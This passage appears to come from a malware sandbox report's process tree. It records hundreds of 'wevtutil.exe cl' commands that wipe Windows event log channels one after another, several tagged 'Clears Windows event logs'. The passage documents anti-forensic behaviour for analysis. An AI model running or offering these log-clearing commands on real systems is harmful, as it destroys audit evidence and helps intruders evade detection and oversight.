    wevtutil.exe cl "Microsoft-User Experience Virtualization-Admin/Debug"
    3⤵
    PID:19208
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Debug"
    3⤵
    PID:10440
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"
    3⤵
    PID:9528
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Analytic"
    3⤵
    PID:10000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Debug"
    3⤵
    PID:13792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Operational"
    3⤵
    - Clears Windows event logs
    PID:8244
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-IPC/Operational"
    3⤵
    PID:3548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Analytic"
    3⤵
    PID:6220
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Debug"
    3⤵
    PID:2704
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"
    3⤵
    PID:12196
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Analytic"
    3⤵
    PID:7284
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Operational"
    3⤵
    PID:13700
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
    3⤵
    PID:11272
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ASN1/Operational"
    3⤵
    PID:12972
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
    3⤵
    PID:14924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
    3⤵
    PID:7460
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AccelLib-AccelCx/Operational"
    3⤵
    PID:5580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
    3⤵
    PID:9284
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-All-User-Install-Agent/Admin"
    3⤵
    PID:9656
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Admin"
    3⤵
    PID:11324
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/ApplicationTracing"
    3⤵
    PID:12680
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Diagnostic"
    3⤵
    PID:10004
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Internal"
    3⤵
    PID:21052
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
    3⤵
    PID:1952
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
    3⤵
    PID:19472
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
    3⤵
    PID:16524
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"
    3⤵
    PID:2148
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Execution"
    3⤵
    PID:14520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Verbose"
    3⤵
    PID:11692
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Admin"
    3⤵
    PID:11764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Analytic"
    3⤵
    PID:12664
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Debug"
    3⤵
    PID:5432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Diagnostics"
    3⤵
    PID:15180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Debug"
    3⤵
    PID:13332
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Diagnostic"
    3⤵
    PID:15092
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Admin"
    3⤵
    PID:17320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Debug"
    3⤵
    PID:5968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Operational"
    3⤵
    - Clears Windows event logs
    PID:7764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppSruProv"
    3⤵
    PID:7384
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Diagnostic"
    3⤵
    PID:12304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Operational"
    3⤵
    PID:6292
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Debug"
    3⤵
    PID:4520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Diagnostic"
    3⤵
    PID:16640
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Operational"
    3⤵
    PID:13252
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Restricted"
    3⤵
    PID:11792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Analytic"
    3⤵
    PID:15392
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Operational"
    3⤵
    - Clears Windows event logs
    PID:14600
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
    3⤵
    PID:6020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
    3⤵
    PID:5480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
    3⤵
    PID:13472
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
    3⤵
    PID:10152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug"
    3⤵
    PID:9504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
    3⤵
    PID:16364
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic"
    3⤵
    PID:10624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace"
    3⤵
    PID:11336
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
    3⤵
    PID:4320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
    3⤵
    PID:4504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
    3⤵
    PID:12600
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Steps-Recorder"
    3⤵
    PID:12628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Debug"
    3⤵
    PID:8020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Operational"
    3⤵
    PID:8492
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Performance"
    3⤵
    PID:14992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Admin"
    3⤵
    PID:632
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Operational"
    3⤵
    PID:14328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Admin"
    3⤵
    PID:16240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Operational"
    3⤵
    PID:14544
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AsynchronousCausality/Causality"
    3⤵
    PID:13956
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
    3⤵
    PID:8556
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/GlitchDetection"
    3⤵
    PID:17080
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Informational"
    3⤵
    PID:4960
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
    3⤵
    PID:1480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
    3⤵
    PID:17620
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/PlaybackManager"
    3⤵
    PID:5940
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
    3⤵
    PID:7464
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
    3⤵
    PID:13188
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController"
    3⤵
    PID:12988
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUser-Client"
    3⤵
    PID:14984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController"
    3⤵
    PID:10964
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController"
    3⤵
    PID:11104
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
    3⤵
    PID:9420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/HCI"
    3⤵
    PID:6116
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/L2CAP"
    3⤵
    PID:13156
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:12648
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Performance"
    3⤵
    PID:13164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic"
    3⤵
    PID:1780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Operational"
    3⤵
    PID:13040
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational"
    3⤵
    PID:18120
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Backup"
    3⤵
    PID:18244
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Connections/Operational"
    3⤵
    PID:7944
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational"
    3⤵
    PID:6792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Battery/Diagnostic"
    3⤵
    PID:12812
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Analytic"
    3⤵
    PID:5896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
    3⤵
    - Clears Windows event logs
    PID:18976
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
    3⤵
    PID:3804
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
    3⤵
    PID:15808
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-Driver-Performance/Operational"
    3⤵
    PID:10352
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Management"
    3⤵
    PID:15724
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Operational"
    3⤵
    PID:10372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/Tracing"
    3⤵
    PID:12088
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
    3⤵
    PID:20508
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
    3⤵
    PID:4120
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational"
    3⤵
    PID:7984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Bthmini/Operational"
    3⤵
    PID:17200
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
    3⤵
    PID:21088
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Policy/Operational"
    3⤵
    PID:1388
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
    3⤵
    PID:17664
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
    3⤵
    PID:20616
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
    3⤵
    PID:17368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheMonitoring/Analytic"
    3⤵
    PID:11520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
    3⤵
    PID:16104
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
    3⤵
    PID:12560
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Catalog Database Debug"
    3⤵
    PID:8820
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
    3⤵
    PID:8664
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
    3⤵
    PID:5816
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
    3⤵
    PID:9344
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentInitialize"
    3⤵
    PID:14020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentUninitialize"
    3⤵
    PID:12048
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Call"
    3⤵
    PID:13488
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/CreateInstance"
    3⤵
    PID:13760
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ExtensionCatalog"
    3⤵
    PID:18480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/FreeUnusedLibrary"
    3⤵
    PID:18992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/RundownInstrumentation"
    3⤵
    PID:18328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Activations"
    3⤵
    PID:4408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/MessageProcessing"
    3⤵
    PID:3328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
    3⤵
    PID:7656
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Calculator/Debug"
    3⤵
    PID:7160
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Calculator/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:15008
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
    3⤵
    PID:9524
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
    3⤵
    PID:5356
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational"
    3⤵
    PID:15260
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational"
    3⤵
    PID:12228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Cleanmgr/Diagnostic"
    3⤵
    PID:12672
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
    3⤵
    PID:7780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudFiles-Filter/Debug"
    3⤵
    PID:14380
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudFiles-Filter/Operational"
    3⤵
    PID:14476
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudRestoreLauncher/Operational"
    3⤵
    PID:14876
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Debug"
    3⤵
    PID:15132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Initialization"
    3⤵
    - Clears Windows event logs
    PID:15232
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Operational"
    3⤵
    PID:19016
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
    3⤵
    PID:3936
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
    3⤵
    PID:17748
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
    3⤵
    PID:10532
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
    3⤵
    PID:8372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
    3⤵
    PID:9856
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Analytic"
    3⤵
    - Clears Windows event logs
    PID:2420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Operational"
    3⤵
    PID:18172
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Debug"
    3⤵
    PID:8312
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Operational"
    3⤵
    PID:12484
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Debug"
    3⤵
    - Clears Windows event logs
    PID:13504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Operational"
    3⤵
    PID:16536
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Diagnostic"
    3⤵
    PID:10256
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Operational"
    3⤵
    PID:12908
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Tracing"
    3⤵
    PID:11844
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Debug"
    3⤵
    PID:7528
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational"
    3⤵
    PID:10520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Analytic"
    3⤵
    PID:14156
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Debug"
    3⤵
    PID:18276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
    3⤵
    PID:9308
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
    3⤵
    PID:11584
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crashdump/Analytic"
    3⤵
    PID:11576
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crashdump/Operational"
    3⤵
    PID:13628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
    3⤵
    PID:10596
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-BCRYPT/Analytic"
    3⤵
    PID:12332
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-CNG/Analytic"
    3⤵
    PID:12868
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc"
    3⤵
    PID:12348
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Debug"
    3⤵
    PID:17760
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Operational"
    3⤵
    PID:12372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DSSEnh/Analytic"
    3⤵
    - Clears Windows event logs
    PID:5300
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/CertInUse"
    3⤵
    PID:19592
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/KeyMgmt"
    3⤵
    PID:12420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/Operational"
    3⤵
    PID:12516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
    3⤵
    PID:10676
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RSAEnh/Analytic"
    3⤵
    - Clears Windows event logs
    PID:6136
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
    3⤵
    PID:12552
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
    3⤵
    PID:5684
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Analytic"
    3⤵
    PID:5744
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Operational"
    3⤵
    PID:7088
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
    3⤵
    PID:428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Analytic"
    3⤵
    PID:17624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Logging"
    3⤵
    PID:7592
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DLNA-Namespace/Analytic"
    3⤵
    PID:15764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
    3⤵
    PID:11048
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Admin"
    3⤵
    PID:12716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Analytic"
    3⤵
    PID:5756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Debug"
    3⤵
    PID:17244
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Operational"
    3⤵
    PID:2288
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
    3⤵
    PID:1056
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
    3⤵
    PID:8024
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
    3⤵
    PID:10032
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
    3⤵
    PID:20220
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
    3⤵
    PID:11992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Data-Pdf/Debug"
    3⤵
    PID:16368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/Admin"
    3⤵
    PID:16344
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/CrashRecovery"
    3⤵
    PID:16108
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
    3⤵
    PID:7816
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
    3⤵
    PID:12660
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
    3⤵
    PID:5932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Diagnostic"
    3⤵
    PID:7036
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Operational"
    3⤵
    PID:13800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Performance"
    3⤵
    - Clears Windows event logs
    PID:13516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Scrubbing"
    3⤵
    PID:7140
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Defrag-Core/Debug"
    3⤵
    PID:21556
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
    3⤵
    PID:11644
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DesktopActivityModerator/Diagnostic"
    3⤵
    PID:13000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceAssociationService/Performance"
    3⤵
    PID:6216
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceConfidence/Analytic"
    3⤵
    PID:21980
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Operational"
    3⤵
    PID:10580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Verbose"
    3⤵
    PID:13780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin"
    3⤵
